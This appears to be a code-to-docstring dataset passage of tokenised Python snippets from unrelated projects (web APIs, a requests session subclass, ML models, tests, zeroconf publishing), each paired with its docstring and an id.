constants.DEFAULT_ARTICLE_PER_PAGE_MAX, 'per_page'), required=False, location='args') <NEW_LINE> args = qs_parser.parse_args() <NEW_LINE> channel_id = args.channel_id <NEW_LINE> page = 1 if args.page is None else args.page <NEW_LINE> per_page = args.per_page if args.per_page else constants.DEFAULT_ARTICLE_PER_PAGE_MIN <NEW_LINE> results = [] <NEW_LINE> if page == 1: <NEW_LINE> <INDENT> top_article_id_li = cache_article.ChannelTopArticlesStorage(channel_id).get() <NEW_LINE> for article_id in top_article_id_li: <NEW_LINE> <INDENT> article = cache_article.ArticleInfoCache(article_id).get() <NEW_LINE> if article: <NEW_LINE> <INDENT> results.append(article) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> feeds = self._feed_articles(channel_id, per_page) <NEW_LINE> for feed in feeds: <NEW_LINE> <INDENT> article = cache_article.ArticleInfoCache(feed.article_id).get() <NEW_LINE> if article: <NEW_LINE> <INDENT> article['trace'] = { 'click': feed.params.click, 'collect': feed.params.collect, 'share': feed.params.share, 'read': feed.params.read } <NEW_LINE> results.append(article) <NEW_LINE> <DEDENT> <DEDENT> return {'page': page, 'per_page': per_page, 'results': results}
获取推荐文章列表数据
6259908763b5f9789fe86d12
class Session(requests.Session): <NEW_LINE> <INDENT> def __init__(self, timeout=30, max_retries=1): <NEW_LINE> <INDENT> requests.Session.__init__(self) <NEW_LINE> self.timeout = timeout <NEW_LINE> self.stream = True <NEW_LINE> self.adapters['http://'].max_retries = max_retries <NEW_LINE> self.domain_delay = {} <NEW_LINE> self.headers.update({'User-Agent': 'FlexGet/%s (www.flexget.com)' % version}) <NEW_LINE> <DEDENT> def add_cookiejar(self, cookiejar): <NEW_LINE> <INDENT> for cookie in cookiejar: <NEW_LINE> <INDENT> self.cookies.set_cookie(cookie) <NEW_LINE> <DEDENT> <DEDENT> def set_domain_delay(self, domain, delay): <NEW_LINE> <INDENT> self.domain_delay[domain] = {'delay': parse_timedelta(delay)} <NEW_LINE> <DEDENT> def request(self, method, url, *args, **kwargs): <NEW_LINE> <INDENT> if is_unresponsive(url): <NEW_LINE> <INDENT> raise requests.Timeout('Requests to this site (%s) have timed out recently. Waiting before trying again.' % urlparse(url).hostname) <NEW_LINE> <DEDENT> wait_for_domain(url, self.domain_delay) <NEW_LINE> kwargs.setdefault('timeout', self.timeout) <NEW_LINE> raise_status = kwargs.pop('raise_status', True) <NEW_LINE> if not any(url.startswith(adapter) for adapter in self.adapters): <NEW_LINE> <INDENT> log.debug('No adaptor, passing off to urllib') <NEW_LINE> return _wrap_urlopen(url, timeout=kwargs['timeout']) <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> log.debug('Fetching %s' % url) <NEW_LINE> result = requests.Session.request(self, method, url, *args, **kwargs) <NEW_LINE> <DEDENT> except requests.Timeout: <NEW_LINE> <INDENT> set_unresponsive(url) <NEW_LINE> raise <NEW_LINE> <DEDENT> if raise_status: <NEW_LINE> <INDENT> result.raise_for_status() <NEW_LINE> <DEDENT> return result
Subclass of requests Session class which defines some of our own defaults, records unresponsive sites, and raises errors by default.
6259908771ff763f4b5e9356
class Student(): <NEW_LINE> <INDENT> def __init__(self, firstName, lastName): <NEW_LINE> <INDENT> self.firstName = firstName <NEW_LINE> self.lastName = lastName <NEW_LINE> print("student created:" + self.fullName,self.email) <NEW_LINE> <DEDENT> @property <NEW_LINE> def fullName(self): <NEW_LINE> <INDENT> return f'{self.firstName} {self.lastName}' <NEW_LINE> <DEDENT> @property <NEW_LINE> def email(self): <NEW_LINE> <INDENT> return f'{self.firstName}.{self.lastName}@gmail.com'
A Sample Student class
6259908723849d37ff852c63
class ListTopicPolicyResponse(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.Topics = None <NEW_LINE> self.RequestId = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> if params.get("Topics") is not None: <NEW_LINE> <INDENT> self.Topics = [] <NEW_LINE> for item in params.get("Topics"): <NEW_LINE> <INDENT> obj = TopicItem() <NEW_LINE> obj._deserialize(item) <NEW_LINE> self.Topics.append(obj) <NEW_LINE> <DEDENT> <DEDENT> self.RequestId = params.get("RequestId")
ListTopicPolicy返回参数结构体
62599087fff4ab517ebcf3bf
class CheckACL(Check): <NEW_LINE> <INDENT> def __init__(self, query, ressources, sources, acl, sha1check=True, ipcheck=True): <NEW_LINE> <INDENT> self.sources = sources <NEW_LINE> self.acl = acl <NEW_LINE> self.source = query.source <NEW_LINE> self.ressource = query.ressource <NEW_LINE> self.method = query.method <NEW_LINE> self.project = query.project <NEW_LINE> <DEDENT> def __call__(self): <NEW_LINE> <INDENT> targets = all_sources_or_sources_list_or_list( self.source, self.sources) <NEW_LINE> allowed_method_suffixes = [] <NEW_LINE> try: <NEW_LINE> <INDENT> for target in targets: <NEW_LINE> <INDENT> allowed_method_suffixes += self.acl[self.project][target][self.ressource] if self.project else self.acl[target][self.ressource] <NEW_LINE> <DEDENT> if self.method not in allowed_method_suffixes: <NEW_LINE> <INDENT> raise NoACLMatchedError( "%s/%s" % (self.ressource, self.method)) <NEW_LINE> <DEDENT> <DEDENT> except KeyError as k: <NEW_LINE> <INDENT> raise NoACLMatchedError( "%s/%s" % (self.ressource, self.method))
Checks method and ressources allowances. ACLs are defined in the acl.yml file. Right now, if we want to be enable requests that parse all sources, acl verification MUST be disabled when the source does not match any entry in the acl file. Yet, checking methods availability is a good principle. An equivalent of this check could happen when the method in the core is about to be called.
625990875fcc89381b266f32
class AudioMessage(DocumentMessage): <NEW_LINE> <INDENT> def __init__( self, file_id=None, file_path=None, file_url=None, file_content=None, file_mime=None, caption=None, receiver=None, reply_id=DEFAULT_MESSAGE_ID, reply_markup=None, disable_notification=False ): <NEW_LINE> <INDENT> super().__init__( file_id=file_id, file_path=file_path, file_url=file_url, file_content=file_content, file_mime=file_mime, caption=caption, receiver=receiver, reply_id=reply_id, reply_markup=reply_markup, disable_notification=disable_notification ) <NEW_LINE> <DEDENT> def actual_sending(self, sender: PytgbotApiBot, ignore_reply: bool = False): <NEW_LINE> <INDENT> return sender.send_audio( chat_id=self.receiver, audio=self.file_id, reply_to_message_id=self.reply_id if not ignore_reply else None, caption=self.caption, parse_mode=self.parse_mode, reply_markup=self.reply_markup, disable_notification=self.disable_notification )
send an audio file
6259908797e22403b383caa2
class AgentModule(ModuleBase): <NEW_LINE> <INDENT> CONFIG_SCHEMA = Schema({ 'module': 'six_dns_discover', 'delay': int }) <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.loop = True <NEW_LINE> <DEDENT> def run(self, assignment): <NEW_LINE> <INDENT> super().run(assignment) <NEW_LINE> result = {} <NEW_LINE> for addr in assignment['targets']: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> (hostname, _, _) = gethostbyaddr(addr) <NEW_LINE> resolved_addrs = getaddrinfo(hostname, None, AF_INET6) <NEW_LINE> for _, _, _, _, sockaddr in resolved_addrs: <NEW_LINE> <INDENT> result[sockaddr[0]] = (hostname, addr) <NEW_LINE> <DEDENT> <DEDENT> except OSError: <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> finally: <NEW_LINE> <INDENT> sleep(assignment['config']['delay']) <NEW_LINE> <DEDENT> if not self.loop: <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> <DEDENT> Path('output.json').write_text(json.dumps(result)) <NEW_LINE> return 0 <NEW_LINE> <DEDENT> def terminate(self): <NEW_LINE> <INDENT> self.loop = False
dns based ipv6 from ipv4 address discover ## target specification target = IPv4Address
6259908763b5f9789fe86d14
class Response: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.status = "200 OK" <NEW_LINE> self.headers = HeaderDict({"content-type": "text/html; charset=UTF-8"}) <NEW_LINE> self.cookies = SimpleCookie() <NEW_LINE> <DEDENT> def set_content_type(self, type_): <NEW_LINE> <INDENT> self.headers["content-type"] = type_ <NEW_LINE> <DEDENT> def get_content_type(self): <NEW_LINE> <INDENT> return self.headers.get("content-type", None) <NEW_LINE> <DEDENT> def send_redirect(self, url): <NEW_LINE> <INDENT> if "\n" in url or "\r" in url: <NEW_LINE> <INDENT> raise webob.exc.HTTPInternalServerError("Invalid redirect URL encountered.") <NEW_LINE> <DEDENT> raise webob.exc.HTTPFound(location=url, headers=self.wsgi_headeritems()) <NEW_LINE> <DEDENT> def wsgi_headeritems(self): <NEW_LINE> <INDENT> result = self.headers.headeritems() <NEW_LINE> for crumb in self.cookies.values(): <NEW_LINE> <INDENT> header, value = str(crumb).split(": ", 1) <NEW_LINE> result.append((header, value)) <NEW_LINE> <DEDENT> return result <NEW_LINE> <DEDENT> def wsgi_status(self): <NEW_LINE> <INDENT> if isinstance(self.status, int): <NEW_LINE> <INDENT> exception = webob.exc.status_map.get(self.status) <NEW_LINE> return "%d %s" % (exception.code, exception.title) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.status
Describes an HTTP response. Currently very simple since the actual body of the request is handled separately.
625990877b180e01f3e49e3a
class FixedFilterAction(FilterAction): <NEW_LINE> <INDENT> def __init__(self, **kwargs): <NEW_LINE> <INDENT> super().__init__(**kwargs) <NEW_LINE> self.filter_type = kwargs.get('filter_type', "fixed") <NEW_LINE> self.needs_preloading = kwargs.get('needs_preloading', True) <NEW_LINE> self.fixed_buttons = self.get_fixed_buttons() <NEW_LINE> self.filter_string = '' <NEW_LINE> <DEDENT> def filter(self, table, images, filter_string): <NEW_LINE> <INDENT> self.filter_string = filter_string <NEW_LINE> categories = self.categorize(table, images) <NEW_LINE> self.categories = defaultdict(list, categories) <NEW_LINE> for button in self.fixed_buttons: <NEW_LINE> <INDENT> button['count'] = len(self.categories[button['value']]) <NEW_LINE> <DEDENT> if not filter_string: <NEW_LINE> <INDENT> return images <NEW_LINE> <DEDENT> return self.categories[filter_string] <NEW_LINE> <DEDENT> def get_fixed_buttons(self): <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> def categorize(self, table, rows): <NEW_LINE> <INDENT> return {}
A filter action with fixed buttons.
62599087adb09d7d5dc0c105
class TestGeneticAlgorithm(unittest.TestCase): <NEW_LINE> <INDENT> def test_yields_starting_population(self): <NEW_LINE> <INDENT> start_pop = [3, 2, 1] <NEW_LINE> ga = genetic_algorithm(start_pop, None, None, None) <NEW_LINE> self.assertEqual(ga.next(), start_pop, "Starting population not yielded as first result.") <NEW_LINE> <DEDENT> def test_fitness_called_for_starting_population(self): <NEW_LINE> <INDENT> start_pop = [1, 2, 3] <NEW_LINE> mock_fitness = MagicMock(return_value=None) <NEW_LINE> ga = genetic_algorithm(start_pop, mock_fitness, None, None) <NEW_LINE> result = ga.next() <NEW_LINE> self.assertEqual(len(start_pop), mock_fitness.call_count, "Fitness function not called for each genome.") <NEW_LINE> <DEDENT> def test_starting_population_fitness_ordered(self): <NEW_LINE> <INDENT> start_pop = [1, 2, 3] <NEW_LINE> def fitness(genome): <NEW_LINE> <INDENT> return genome * genome <NEW_LINE> <DEDENT> ga = genetic_algorithm(start_pop, fitness, None, None) <NEW_LINE> expected = [3, 2, 1] <NEW_LINE> actual = ga.next() <NEW_LINE> self.assertEqual(actual, expected, "Actual: %r Expected: %r" % (actual, expected)) <NEW_LINE> <DEDENT> def test_halt_function(self): <NEW_LINE> <INDENT> start_pop = [1, 2, 3] <NEW_LINE> def fitness(genome): <NEW_LINE> <INDENT> return genome <NEW_LINE> <DEDENT> def halt(population, generation_count): <NEW_LINE> <INDENT> return generation_count == 10 <NEW_LINE> <DEDENT> class Generate(object): <NEW_LINE> <INDENT> def __init__(self, parents): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> return self <NEW_LINE> <DEDENT> def next(self): <NEW_LINE> <INDENT> raise StopIteration() <NEW_LINE> <DEDENT> <DEDENT> ga = genetic_algorithm(start_pop, fitness, Generate, halt) <NEW_LINE> result = [p for p in ga] <NEW_LINE> actual = len(result) <NEW_LINE> expected = 10 <NEW_LINE> self.assertEqual(actual, expected, "Actual: %r Expected: %r" % (actual, expected)) <NEW_LINE> <DEDENT> def test_generate(self): <NEW_LINE> <INDENT> start_pop = [1, 2, 3] <NEW_LINE> def fitness(genome): <NEW_LINE> <INDENT> return genome <NEW_LINE> <DEDENT> def halt(population, generation_count): <NEW_LINE> <INDENT> return generation_count == 10 <NEW_LINE> <DEDENT> class Generate(object): <NEW_LINE> <INDENT> def __init__(self, parent_population): <NEW_LINE> <INDENT> self.counter = 0 <NEW_LINE> self.size = len(parent_population) <NEW_LINE> self.parents = parent_population <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> return self <NEW_LINE> <DEDENT> def next(self): <NEW_LINE> <INDENT> if self.counter < self.size: <NEW_LINE> <INDENT> pos, self.counter = self.counter, self.counter + 1 <NEW_LINE> return self.parents[pos] + 1 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise StopIteration() <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> ga = genetic_algorithm(start_pop, fitness, Generate, halt) <NEW_LINE> actual = [p for p in ga] <NEW_LINE> expected = [[3 + i, 2 + i, 1 + i] for i in range(10)] <NEW_LINE> self.assertEqual(actual, expected, "Actual: %r Expected: %r" % (actual, expected))
Ensures the genetic_algorithm generator function works as expected.
62599087099cdd3c636761d0
class AbstractJoke: <NEW_LINE> <INDENT> def __init__(self, idnum=0, label='', avRating=0, text=''): <NEW_LINE> <INDENT> self._idnum = idnum <NEW_LINE> self._label = label <NEW_LINE> self._avRating = avRating <NEW_LINE> self._text = text <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return "Joke ID: {0}\nCategory: {1}\n" "Average rating: {2}\n{3}".format(self._idnum, self._label, self._avRating, self._text) <NEW_LINE> <DEDENT> def set_id(self, idnum): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def set_label(self, label): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def set_rating(self, rating): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def set_joketext(self, text): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def get_rating(self): <NEW_LINE> <INDENT> return self._avRating <NEW_LINE> <DEDENT> def get_idnum(self): <NEW_LINE> <INDENT> return self._idnum <NEW_LINE> <DEDENT> def get_joke(self): <NEW_LINE> <INDENT> return self._text <NEW_LINE> <DEDENT> def get_category(self): <NEW_LINE> <INDENT> return self._label
This class is for a representation of a basic joke
62599087656771135c48ae06
class BoundedDummy(Parser): <NEW_LINE> <INDENT> def parse(self, reader): <NEW_LINE> <INDENT> self.parseending(reader, lambda: reader.nextline()) <NEW_LINE> reader.nextline() <NEW_LINE> return []
A bound parser that ignores everything
62599088167d2b6e312b836d
class RidgeRegression(BaseEstimator, RegressorMixin): <NEW_LINE> <INDENT> def __init__(self, l2_reg=1, step_size=.005, max_num_epochs = 5000): <NEW_LINE> <INDENT> self.max_num_epochs = max_num_epochs <NEW_LINE> self.step_size = step_size <NEW_LINE> self.l2_reg=l2_reg <NEW_LINE> self.x = nodes.ValueNode(node_name="x") <NEW_LINE> self.y = nodes.ValueNode(node_name="y") <NEW_LINE> self.w = nodes.ValueNode(node_name="w") <NEW_LINE> self.b = nodes.ValueNode(node_name="b") <NEW_LINE> self.prediction = nodes.VectorScalarAffineNode(x=self.x, w=self.w, b=self.b, node_name="prediction") <NEW_LINE> self.regularization=nodes.L2NormPenaltyNode(l2_reg=self.l2_reg, w=self.w, node_name="regularization") <NEW_LINE> self.loss_function=nodes.SquaredL2DistanceNode(a=self.prediction, b=self.y, node_name="loss") <NEW_LINE> self.obj_function=nodes.SumNode(a=self.regularization, b=self.loss_function, node_name="objective") <NEW_LINE> self.inputs = [self.x] <NEW_LINE> self.outcomes = [self.y] <NEW_LINE> self.parameters = [self.w, self.b] <NEW_LINE> self.graph = graph.ComputationGraphFunction(self.inputs, self.outcomes, self.parameters, self.prediction, self.obj_function) <NEW_LINE> <DEDENT> def fit(self, X, y): <NEW_LINE> <INDENT> num_instances, num_ftrs = X.shape <NEW_LINE> y = y.reshape(-1) <NEW_LINE> init_parameter_values = {"w": np.zeros(num_ftrs), "b": np.array(0.0)} <NEW_LINE> self.graph.set_parameters(init_parameter_values) <NEW_LINE> for epoch in range(self.max_num_epochs): <NEW_LINE> <INDENT> shuffle = np.random.permutation(num_instances) <NEW_LINE> epoch_obj_tot = 0.0 <NEW_LINE> for j in shuffle: <NEW_LINE> <INDENT> obj, grads = self.graph.get_gradients(input_values = {"x": X[j]}, outcome_values = {"y": y[j]}) <NEW_LINE> epoch_obj_tot += obj <NEW_LINE> steps = {} <NEW_LINE> for param_name in grads: <NEW_LINE> <INDENT> steps[param_name] = -self.step_size * grads[param_name] <NEW_LINE> self.graph.increment_parameters(steps) <NEW_LINE> <DEDENT> <DEDENT> if epoch % 50 == 0: <NEW_LINE> <INDENT> train_loss = sum((y - self.predict(X,y)) **2)/num_instances <NEW_LINE> print("Epoch ",epoch,": Ave objective=",epoch_obj_tot/num_instances," Ave training loss: ",train_loss) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def predict(self, X, y=None): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> getattr(self, "graph") <NEW_LINE> <DEDENT> except AttributeError: <NEW_LINE> <INDENT> raise RuntimeError("You must train classifer before predicting data!") <NEW_LINE> <DEDENT> num_instances = X.shape[0] <NEW_LINE> preds = np.zeros(num_instances) <NEW_LINE> for j in range(num_instances): <NEW_LINE> <INDENT> preds[j] = self.graph.get_prediction(input_values={"x":X[j]}) <NEW_LINE> <DEDENT> return preds
Ridge regression with computation graph
625990883617ad0b5ee07cfd
class Customer(Process): <NEW_LINE> <INDENT> def visit(self, timeInBank): <NEW_LINE> <INDENT> print("%8.4f %s: Arrived " % (now(), self.name)) <NEW_LINE> yield request, self, counter <NEW_LINE> print("%8.4f %s: Got counter " % (now(), self.name)) <NEW_LINE> tib = expovariate(1.0 / timeInBank) <NEW_LINE> yield hold, self, tib <NEW_LINE> yield release, self, counter <NEW_LINE> print("%8.4f %s: Finished " % (now(), self.name))
Customer arrives, is served and leaves
625990883317a56b869bf31a
class Address(models.Model): <NEW_LINE> <INDENT> addr = models.CharField(max_length=40, blank=True) <NEW_LINE> macaddr = models.CharField(max_length=17, blank=True) <NEW_LINE> allocated = models.BooleanField(default=False) <NEW_LINE> pool = models.ForeignKey(Pool, blank=True, null=True) <NEW_LINE> host = models.ForeignKey(Host, null=True, blank=True) <NEW_LINE> date = models.DateTimeField(auto_now=True) <NEW_LINE> duration = models.DateTimeField(blank=True, null=True, default=None) <NEW_LINE> lastuse = models.DateTimeField(blank=True, null=True) <NEW_LINE> comment = models.TextField(blank=True) <NEW_LINE> def __unicode__(self): <NEW_LINE> <INDENT> return self.addr
Represent a network address.
6259908897e22403b383caa4
class InventoryWindow(pgu.gui.Container): <NEW_LINE> <INDENT> def __init__(self, application, surface_manager, **params): <NEW_LINE> <INDENT> super(InventoryWindow, self).__init__(**params) <NEW_LINE> self.running = 1 <NEW_LINE> self.selection = 0 <NEW_LINE> self.application = application <NEW_LINE> self.surface_manager = surface_manager <NEW_LINE> self.set_layout() <NEW_LINE> <DEDENT> def set_layout(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def event(self, event): <NEW_LINE> <INDENT> if event != None: <NEW_LINE> <INDENT> if event.type == pygame.KEYDOWN: <NEW_LINE> <INDENT> if event.key == K_ESCAPE: <NEW_LINE> <INDENT> self.application.change_state('game window')
Inventory window .. versionadded:: 0.4
6259908826068e7796d4e4ee
class RequestHandler: <NEW_LINE> <INDENT> def __init__(self, header:dict, targetUrl:str, filterTag:str, httpHandler:httplib2.Http, httpRequestType:str, debugPrint:bool): <NEW_LINE> <INDENT> self.header=header <NEW_LINE> self.targetUrl=targetUrl <NEW_LINE> self.filterTag=filterTag.strip() <NEW_LINE> self.requestType=httpRequestType <NEW_LINE> self.httpHandler=httpHandler <NEW_LINE> self.debugPrint=debugPrint <NEW_LINE> if(self.debugPrint): <NEW_LINE> <INDENT> print("Print args here") <NEW_LINE> <DEDENT> <DEDENT> def run(self): <NEW_LINE> <INDENT> self.debugPrint=True <NEW_LINE> self.prepareRequest() <NEW_LINE> self.performRequest() <NEW_LINE> self.postProcessRequest() <NEW_LINE> self.debugPrint=True <NEW_LINE> <DEDENT> def prepareRequest(self): <NEW_LINE> <INDENT> body="" <NEW_LINE> self.body=requestHelpMethods.urlEncodeString(body, self.debugPrint) <NEW_LINE> return <NEW_LINE> <DEDENT> def performRequest(self): <NEW_LINE> <INDENT> http=self.httpHandler; <NEW_LINE> url = self.targetUrl <NEW_LINE> requestType=self.requestType <NEW_LINE> header=self.header <NEW_LINE> body=self.body <NEW_LINE> if(self.debugPrint): <NEW_LINE> <INDENT> print("HTTP Request to "+url) <NEW_LINE> <DEDENT> response, content = http.request(url, requestType, headers=header, body=body) <NEW_LINE> if(self.debugPrint): <NEW_LINE> <INDENT> print("finished request: "+str(response.status)) <NEW_LINE> <DEDENT> self.httpResponse=response <NEW_LINE> self.httpContent=content <NEW_LINE> <DEDENT> def postProcessRequest(self): <NEW_LINE> <INDENT> if(self.debugPrint): <NEW_LINE> <INDENT> print("Postprocess Request") <NEW_LINE> print(self.httpResponse) <NEW_LINE> <DEDENT> content=self.httpContent.decode(encoding='utf-8') <NEW_LINE> response=self.httpResponse <NEW_LINE> self.unProccessedContent=content <NEW_LINE> if(response.status>=200 and response.status<=400): <NEW_LINE> <INDENT> self.status=response.status <NEW_LINE> <DEDENT> soup=BeautifulSoup(content, "html.parser") <NEW_LINE> warningInChallengeWrapper=soup.findAll('div', attrs={"class":"alert-danger"}) <NEW_LINE> for div in warningInChallengeWrapper: <NEW_LINE> <INDENT> print(str(div)) <NEW_LINE> <DEDENT> content="" <NEW_LINE> extractedChallengeWrapper=soup.findAll('div', attrs={"class":self.filterTag}) <NEW_LINE> for div in extractedChallengeWrapper: <NEW_LINE> <INDENT> content+=str(div) <NEW_LINE> if(self.debugPrint): <NEW_LINE> <INDENT> print(str(div)) <NEW_LINE> <DEDENT> <DEDENT> self.httpContent=content <NEW_LINE> return <NEW_LINE> <DEDENT> def getHttpContent(self,unprocessed=False): <NEW_LINE> <INDENT> if(unprocessed): <NEW_LINE> <INDENT> return self.unProccessedContent <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.httpContent <NEW_LINE> <DEDENT> <DEDENT> def getHttpResponse(self): <NEW_LINE> <INDENT> return self.httpResponse
classdocs This class does not do any I/O operations It does not create a html file output. This can be done somewhere else It's focus is on request handling it's also designed to handle multiple request to the same target. This can be defined in the "run" method.
6259908871ff763f4b5e935a
class InvalidParse(Exception): <NEW_LINE> <INDENT> pass
Superclass for all parsing errors
62599088dc8b845886d55166
class AccountStockAngloSaxonTestCase(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> trytond.tests.test_tryton.install_module('account_stock_anglo_saxon') <NEW_LINE> <DEDENT> def test0005views(self): <NEW_LINE> <INDENT> test_view('account_stock_anglo_saxon') <NEW_LINE> <DEDENT> def test0006depends(self): <NEW_LINE> <INDENT> test_depends()
Test Account Stock Anglo Saxon module.
62599088283ffb24f3cf544d
class user_device_debug(object): <NEW_LINE> <INDENT> thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') <NEW_LINE> def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") <NEW_LINE> __repr__ = _swig_repr <NEW_LINE> def make(*args, **kwargs): <NEW_LINE> <INDENT> return _howto_swig.user_device_debug_make(*args, **kwargs) <NEW_LINE> <DEDENT> make = staticmethod(make) <NEW_LINE> __swig_destroy__ = _howto_swig.delete_user_device_debug <NEW_LINE> __del__ = lambda self : None;
<+description of block+>
625990885fc7496912d49041
class broadcast(object): <NEW_LINE> <INDENT> def __init__(self, *arrays): <NEW_LINE> <INDENT> ndarray = cupy.ndarray <NEW_LINE> rev = slice(None, None, -1) <NEW_LINE> shape_arr = [a._shape[rev] for a in arrays if isinstance(a, ndarray)] <NEW_LINE> r_shape = [max(ss) for ss in zip_longest(*shape_arr, fillvalue=0)] <NEW_LINE> self.shape = shape = tuple(r_shape[rev]) <NEW_LINE> self.size = size = internal.prod(shape) <NEW_LINE> self.nd = ndim = len(shape) <NEW_LINE> broadcasted = list(arrays) <NEW_LINE> for i, a in enumerate(broadcasted): <NEW_LINE> <INDENT> if not isinstance(a, ndarray): <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> a_shape = a.shape <NEW_LINE> if a_shape == shape: <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> r_strides = [ a_st if sh == a_sh else (0 if a_sh == 1 else None) for sh, a_sh, a_st in six_zip(r_shape, a._shape[rev], a._strides[rev])] <NEW_LINE> if None in r_strides: <NEW_LINE> <INDENT> raise RuntimeError('Broadcasting failed') <NEW_LINE> <DEDENT> offset = (0,) * (ndim - len(r_strides)) <NEW_LINE> broadcasted[i] = view = a.view() <NEW_LINE> view._shape = shape <NEW_LINE> view._strides = offset + tuple(r_strides[rev]) <NEW_LINE> view._size = size <NEW_LINE> view._c_contiguous = -1 <NEW_LINE> view._f_contiguous = -1 <NEW_LINE> <DEDENT> self.values = tuple(broadcasted)
Object that performs broadcasting. CuPy actually uses this class to support broadcasting in various operations. Note that this class does not provide an iterator. Args: arrays (tuple of arrays): Arrays to be broadcasted. Attributes: shape (tuple of ints): The broadcasted shape. nd (int): Number of dimensions of the broadcasted shape. size (int): Total size of the broadcasted shape. values (list of arrays): The broadcasted arrays. .. seealso:: :class:`numpy.broadcast`
62599088bf627c535bcb3081
class ZeroConfService: <NEW_LINE> <INDENT> def __init__(self, name, port, stype="_http._tcp", domain="", host="", text=""): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.stype = stype <NEW_LINE> self.domain = domain <NEW_LINE> self.host = host <NEW_LINE> self.port = port <NEW_LINE> self.text = text <NEW_LINE> <DEDENT> def publish(self): <NEW_LINE> <INDENT> bus = dbus.SystemBus() <NEW_LINE> server = dbus.Interface( bus.get_object( avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER), avahi.DBUS_INTERFACE_SERVER) <NEW_LINE> g = dbus.Interface( bus.get_object(avahi.DBUS_NAME, server.EntryGroupNew()), avahi.DBUS_INTERFACE_ENTRY_GROUP) <NEW_LINE> g.AddService(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC,dbus.UInt32(0), self.name, self.stype, self.domain, self.host, dbus.UInt16(self.port), self.text) <NEW_LINE> g.Commit() <NEW_LINE> self.group = g <NEW_LINE> <DEDENT> def unpublish(self): <NEW_LINE> <INDENT> self.group.Reset()
A simple class to publish a network service with zeroconf using avahi. Shamelessly stolen from http://stackp.online.fr/?p=35
62599088aad79263cf430368
@skip_doctest <NEW_LINE> class link(object): <NEW_LINE> <INDENT> updating = False <NEW_LINE> def __init__(self, *args): <NEW_LINE> <INDENT> if len(args) < 2: <NEW_LINE> <INDENT> raise TypeError('At least two traitlets must be provided.') <NEW_LINE> <DEDENT> self.objects = {} <NEW_LINE> initial = getattr(args[0][0], args[0][1]) <NEW_LINE> for obj, attr in args: <NEW_LINE> <INDENT> setattr(obj, attr, initial) <NEW_LINE> callback = self._make_closure(obj, attr) <NEW_LINE> obj.on_trait_change(callback, attr) <NEW_LINE> self.objects[(obj, attr)] = callback <NEW_LINE> <DEDENT> <DEDENT> @contextlib.contextmanager <NEW_LINE> def _busy_updating(self): <NEW_LINE> <INDENT> self.updating = True <NEW_LINE> try: <NEW_LINE> <INDENT> yield <NEW_LINE> <DEDENT> finally: <NEW_LINE> <INDENT> self.updating = False <NEW_LINE> <DEDENT> <DEDENT> def _make_closure(self, sending_obj, sending_attr): <NEW_LINE> <INDENT> def update(name, old, new): <NEW_LINE> <INDENT> self._update(sending_obj, sending_attr, new) <NEW_LINE> <DEDENT> return update <NEW_LINE> <DEDENT> def _update(self, sending_obj, sending_attr, new): <NEW_LINE> <INDENT> if self.updating: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> with self._busy_updating(): <NEW_LINE> <INDENT> for obj, attr in self.objects.keys(): <NEW_LINE> <INDENT> setattr(obj, attr, new) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def unlink(self): <NEW_LINE> <INDENT> for key, callback in self.objects.items(): <NEW_LINE> <INDENT> (obj, attr) = key <NEW_LINE> obj.on_trait_change(callback, attr, remove=True)
Link traits from different objects together so they remain in sync. Parameters ---------- obj : pairs of objects/attributes Examples -------- >>> c = link((obj1, 'value'), (obj2, 'value'), (obj3, 'value')) >>> obj1.value = 5 # updates other objects as well
625990883317a56b869bf31b
class StructTest2(StructTestFunction): <NEW_LINE> <INDENT> def f(self, x): <NEW_LINE> <INDENT> return (x - 30) * numpy.sin(x) <NEW_LINE> <DEDENT> def g(x): <NEW_LINE> <INDENT> return 58 - numpy.sum(x, axis=0) <NEW_LINE> <DEDENT> cons = wrap_constraints(g)
Scalar function with several minima to test all minimizer retrievals
62599088d486a94d0ba2db64
class UploadWidget(TypesWidget): <NEW_LINE> <INDENT> _properties = TypesWidget._properties.copy() <NEW_LINE> _properties.update({ 'macro': "upload_widget", 'helper_js': ( '++resource++cs.pfg.multifile.jqueryfiler/js/jquery.filer.min.js', ), 'helper_css': ( '++resource++cs.pfg.multifile.jqueryfiler/css/jquery.filer.css', '++resource++cs.pfg.multifile.jqueryfiler/css/jquery.filer-dragdropbox-theme.css', ) })
